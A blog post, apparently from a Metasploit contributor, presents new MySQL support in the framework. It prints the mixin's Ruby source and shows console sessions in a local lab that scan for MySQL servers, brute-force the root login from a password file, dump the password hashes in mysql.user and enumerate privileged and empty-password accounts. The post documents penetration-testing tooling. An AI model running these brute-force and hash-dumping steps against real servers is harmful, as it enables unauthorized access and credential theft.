New MySQL Support in Metasploit
Recently HD added a new mixin for MySQL adding support for connecting and executing queries against MySQL using the MySQL library from tmtm.org. In addition to the library 2 new modules from Bernardo Damele (Author of SQLMap) where added. The modules from Bernardo are:
- mysql_sql – A simple module for executing queries against MySQL provided the appropriate credentials.
- mysql_login – Login brut force module.
In addition to this 2 module I wrote a mysql_enum module based on the CIS Benchmark for MySQL and an existing module called version was already present to enumerate a MySQL version thru the network.
The Mixin
Lets start by taking a look at the Mixin. At the moment of this blog post this is how the mixin looks:
1: require 'msf/core'
2: require 'rbmysql'
3:4: module Msf
5: module Exploit::Remote::MYSQL
6:7: include Exploit::Remote::Tcp8:9: def initialize(info = {})
10: super
11:12: register_options(13: [14: Opt::RHOST,15: Opt::RPORT(3306),16: OptString.new('MYSQL_USER', [ true, 'The username to authenticate as', 'root']),
17: OptString.new('MYSQL_PASS', [ false, 'The password for the specified username', '']),18: ], Msf::Exploit::Remote::MYSQL19: )20: end
21:22: def mysql_login(user='root', pass='', db=nil)23: disconnect if self.sock24: connect25:26: @mysql_handle = ::RbMysql.connect({27: :host => rhost,28: :port => rport,29: :socket => sock,30: :user => user,31: :password => pass,32: :db => db33: })34: end
35:36: def mysql_logoff
37: @mysql_handle = nil if @mysql_handle38: disconnect if self.sock39: end
40:41: def mysql_login_datastore
42: mysql_login(datastore['MYSQL_USER'], datastore['MYSQL_PASS'])43: end
44:45: def mysql_query(sql)
46: res = nil
47: begin
48: res = @mysql_handle.query(sql)49: rescue ::RbMysql::Error => e
50: print_error("MySQL Error: #{e.class} #{e.to_s}")
51: return
52: end
53:54: res55: end
56:57: end
58: end
From lines 9 to 20 the mixin when initialized adds the following options to the module that imports it:
- RHOST – The MySQL server to connect to.
- RPORT – The MySQL port, default value of 3306.
- MYSQL_USER – User account to use for the connecting to the MySQL Server.
- MYSQL_PASS – Password to use for the connecting to the MySQL Server
The Mixin is a very simple one to use it provides 4 calls:
- mysql_login – this call allows the coder to connect to a MySQL server providing the Username, Password and Database
- mysql_logoff - Disconnects the connection created to the database server created by msql_login
- mysql_login_datastore – Is a wrapper around mysql_login where a login is made using only the datastore values for MYSQL_USER and MYSQL_PASS.
- mysql_query – Performs a SQL query against the connected database server given a SQL string to execute.
The MySQL Version Scanner Module
The existing module before the mixing was added is the version scanner module by Kris Katterjohn:
1: msf > use auxiliary/scanner/mysql/version
2: msf auxiliary(version) > info
3:
4: Name: MySQL Server Version Enumeration
5: Version: 6482
6: License: Metasploit Framework License (BSD)
7: Rank: Normal
8:
9: Provided by:
10: kris katterjohn <katterjohn@gmail.com>
11:
12: Basic options:
13: Name Current Setting Required Description
14: ---- --------------- -------- -----------
15: RHOSTS yes The target address range or CIDR identifier
16: RPORT 3306 yes The target port
17: THREADS 1 yes The number of concurrent threads
18:
19: Description:
20: Enumerates the version of MySQL servers
21:
22: msf auxiliary(version) >
the module accepts as options
- RHOSTS – a targeted address range.
- RPORT – the TCP port on where to look for, the port 3306 is set by default.
- THREADS – the number of threads to use for lloking for host and enumerating their versions, default is 1.
Lets set a scan and run it against the local network.
1: msf auxiliary(version) > set RHOSTS 192.168.1.1/24
2: RHOSTS => 192.168.1.1/24
3: msf auxiliary(version) > set THREADS 10
4: THREADS => 10
5: msf auxiliary(version) > run
6:
7: [*] Scanned 029 of 256 hosts (011% complete)
8: [*] Scanned 052 of 256 hosts (020% complete)
9: [*] Scanned 077 of 256 hosts (030% complete)
10: [*] Scanned 103 of 256 hosts (040% complete)
11: [*] Scanned 128 of 256 hosts (050% complete)
12: [*] Scanned 154 of 256 hosts (060% complete)
13: [*] Scanned 189 of 256 hosts (073% complete)
14: [*] Scanned 205 of 256 hosts (080% complete)
15: [*] 192.168.1.225:3306 is running MySQL ["5.0.75-0ubuntu10.2"] (protocol [10])
16: [*] Scanned 232 of 256 hosts (090% complete)
17: [*] Scanned 256 of 256 hosts (100% complete)
18: [*] Auxiliary module execution completed
19: msf auxiliary(version) >
It found our MySQL box and enumerated correctly the version.
The MySQL Login Bruteforce Module
The MySQL Login Bruteforce module by Bernardo is one of the first modules to use the new mixin:
1: msf > use auxiliary/scanner/mysql/mysql_login
2:
3: msf auxiliary(mysql_login) > info
4:
5: Name: MySQL Login Utility
6: Version: 7979
7: License: Metasploit Framework License (BSD)
8: Rank: Normal
9:
10: Provided by:
11: Bernardo Damele A. G. <bernardo.damele@gmail.com>
12:
13: Basic options:
14: Name Current Setting Required Description
15: ---- --------------- -------- -----------
16: MYSQL_PASS no The password for the specified username
17: MYSQL_PASS_FILE no A dictionary of passwords to perform a bruteforce attempt
18: MYSQL_USER root yes The username to authenticate as
19: RHOSTS yes The target address range or CIDR identifier
20: RPORT 3306 yes The target port
21: THREADS 1 yes The number of concurrent threads
22: VERBOSE false yes Verbose output
23:
24: Description:
25: This module simply queries the MySQL instance for a specific
26: user/pass (default is root with blank).
27:
28: msf auxiliary(mysql_login) >
The module adds 3 options additional to the options that are part of the mixin, this options are:
- MYSQL_PASS_FILE – A Dictionary of password to perform the bruteforce.
- THREADS – The Number of simultaneous attempts to perform.
- VERBOSE – Enable verbose mode so as to see as much information of what the module is doing.
- RHOSTS – The range of servers to test.
Once successful this module also saves the found credentials in the database attached to the framework if one is present. Lets set the module to attack the found MySQL server, give it a password file and set it to 10 concurrent connections:
1: msf auxiliary(mysql_login) > set MYSQL_PASS_FILE /tmp/pass.txt
2: MYSQL_PASS_FILE => /tmp/pass.txt
3: msf auxiliary(mysql_login) > set THREADS 5
4: THREADS => 5
5: msf auxiliary(mysql_login) > set RHOSTS 192.168.1.225
6: RHOSTS => 192.168.1.225
7: msf auxiliary(mysql_login) > run
8:
9: [*] 192.168.1.225:3306 successful logged in as 'root' with password 'P@ssword'
10: [*] Scanned 1 of 1 hosts (100% complete)
11: [*] Auxiliary module execution completed
12: msf auxiliary(mysql_login) >
The new mixin is quite fast.
The MySQL Generic Query Module
This is the second module contributed by Bernardo, it allows the execution of generic SQL queries given a username and password.
1: msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql
2: msf auxiliary(mysql_sql) > info
3:
4: Name: MySQL SQL Generic Query
5: Version: 7978
6: License: Metasploit Framework License (BSD)
7: Rank: Normal
8:
9: Provided by:
10: Bernardo Damele A. G. <bernardo.damele@gmail.com>
11:
12: Basic options:
13: Name Current Setting Required Description
14: ---- --------------- -------- -----------
15: MYSQL_PASS no The password for the specified username
16: MYSQL_USER root yes The username to authenticate as
17: RHOST yes The target address
18: RPORT 3306 yes The target port
19: SQL select version() yes The SQL to execute.
20:
21: Description:
22: This module allows for simple SQL statements to be executed against
23: a MySQL instance given the appropriate credentials.
24:
25: msf auxiliary(mysql_sql) >
Lets set the module to execute the “select user, host, password from mysql.user” query to list all accounts configured on the server, the host from which they can connect to and the password hash (in version 5 a double SHA1):
1: msf auxiliary(mysql_sql) > set MYSQL_PASS P@ssword
2: MYSQL_PASS => P@ssword
3: msf auxiliary(mysql_sql) > set RHOST 192.168.1.225
4: RHOST => 192.168.1.225
5: msf auxiliary(mysql_sql) > set SQL select user, host, password from mysql.user
6: SQL => select user, host, password from mysql.user
7: msf auxiliary(mysql_sql) > run
8:
9: [*] Sending statement: 'select user, host, password from mysql.user'...
10: [*] | root | localhost | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
11: [*] | root | mysql1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
12: [*] | root | 127.0.0.1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
13: [*] | debian-sys-maint | localhost | *B5B29092C4F54539DAEED066DDA875543A81C9A8 |
14: [*] | root | % | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
15: [*] | empypassusr | % | |
16: [*] | | % | *26084ECEA9703C37D3D28CA34D9346D9527B0ABF |
17: [*] Auxiliary module execution completed
18: msf auxiliary(mysql_sql) >
The level of access and what queries can be performed will depend on the permissions of the account that is being used.
The MySQL Enumeration Module
Entering each query one by one will take some time, so I wrote a module that uses the mixin for performing enumeration of those parameter, privileges and accounts that might be of interest to an attacker.
1: msf auxiliary(mysql_sql) > use auxiliary/admin/mysql/mysql_enum
2: msf auxiliary(mysql_enum) > info
3:
4: Name: MySQL Enumeration Module
5: Version: $Revision:$
6: License: Metasploit Framework License (BSD)
7: Rank: Normal
8:
9: Provided by:
10: Carlos Perez. <carlos_perez@darkoperator.com>
11:
12: Basic options:
13: Name Current Setting Required Description
14: ---- --------------- -------- -----------
15: MYSQL_PASS no The password for the specified username
16: MYSQL_USER root yes The username to authenticate as
17: RHOST yes The target address
18: RPORT 3306 yes The target port
19:
20: Description:
21: This module allows for simple enumeration of MySQL Database Server
22: provided proper credentials to connect remotely.
23:
24: References:
25: https://cisecurity.org/benchmarks.html
26:
27: msf auxiliary(mysql_enum) >
Lets provide the appropriate parameters to execute the module against the MySQL server (Note: You can use global variables so to not enter the information individually in each module using the setg command)
1: msf auxiliary(mysql_enum) > set RHOST 192.168.1.225
2: RHOST => 192.168.1.225
3: msf auxiliary(mysql_enum) > set MYSQL_PASS P@ssword
4: MYSQL_PASS => P@ssword
5: msf auxiliary(mysql_enum) > run
6:
7: [*] Running MySQL Enumerator...
8: [*] Enumerating Parameters
9: [*] MySQL Version: 5.0.75-0ubuntu10.2
10: [*] Compiled for the following OS: debian-linux-gnu
11: [*] Architecture: i486
12: [*] Server Hostname: mysql1
13: [*] Data Directory: /var/lib/mysql/
14: [*] Logging of queries and logins: OFF
15: [*] Old Password Hashing Algorithm: OFF
16: [*] Loading of local files: ON
17: [*] Logings with old Pre-4.1 Passwords: OFF
18: [*] Allow Use of symlinks for Databse Files: YES
19: [*] Allow Table Merge: YES
20: [*] SSL Connection: DISABLED
21: [*] Enumerating Accounts:
22: [*] List of Accounts with Password Hashes:
23: [*] User: root Host: localhost Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
24: [*] User: root Host: mysql1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
25: [*] User: root Host: 127.0.0.1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
26: [*] User: debian-sys-maint Host: localhost Password Hash: *B5B29092C4F54539DAEED066DDA875543A81C9A8
27: [*] User: root Host: % Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
28: [*] User: empypassusr Host: % Password Hash:
29: [*] User: Host: % Password Hash: *26084ECEA9703C37D3D28CA34D9346D9527B0ABF
30: [*] The following users have GRANT Privilege:
31: [*] User: root Host: localhost
32: [*] User: root Host: mysql1
33: [*] User: root Host: 127.0.0.1
34: [*] User: debian-sys-maint Host: localhost
35: [*] The following users have CREATE USER Privilege:
36: [*] User: root Host: localhost
37: [*] User: root Host: mysql1
38: [*] User: root Host: 127.0.0.1
39: [*] The following users have RELOAD Privilege:
40: [*] User: root Host: localhost
41: [*] User: root Host: mysql1
42: [*] User: root Host: 127.0.0.1
43: [*] User: debian-sys-maint Host: localhost
44: [*] The following users have SHUTDOWN Privilege:
45: [*] User: root Host: localhost
46: [*] User: root Host: mysql1
47: [*] User: root Host: 127.0.0.1
48: [*] User: debian-sys-maint Host: localhost
49: [*] The following users have SUPER Privilege:
50: [*] User: root Host: localhost
51: [*] User: root Host: mysql1
52: [*] User: root Host: 127.0.0.1
53: [*] User: debian-sys-maint Host: localhost
54: [*] The following users have FILE Privilege:
55: [*] User: root Host: localhost
56: [*] User: root Host: mysql1
57: [*] User: root Host: 127.0.0.1
58: [*] User: debian-sys-maint Host: localhost
59: [*] The following users have POCESS Privilege:
60: [*] User: root Host: localhost
61: [*] User: root Host: mysql1
62: [*] User: root Host: 127.0.0.1
63: [*] User: debian-sys-maint Host: localhost
64: [*] The following accounts have privileges to the mysql databse:
65: [*] User: root Host: localhost
66: [*] User: root Host: mysql1
67: [*] User: root Host: 127.0.0.1
68: [*] User: debian-sys-maint Host: localhost
69: [*] Anonymous Accounts are Present:
70: [*] User: Host: %
71: [*] The following accounts have empty passwords:
72: [*] User: empypassusr Host: %
73: [*] The following accounts are not restricted by source:
74: [*] User: Host: %
75: [*] User: empypassusr Host: %
76: [*] User: root Host: %
77: [*] Auxiliary module execution completed
78: msf auxiliary(mysql_enum) >
As it can be seen a lot of valuable information is gathered and displayed by the module.
As it can be seen the Framework now provides a new way to attack and enumerate MySQL Servers adding to its flexibility.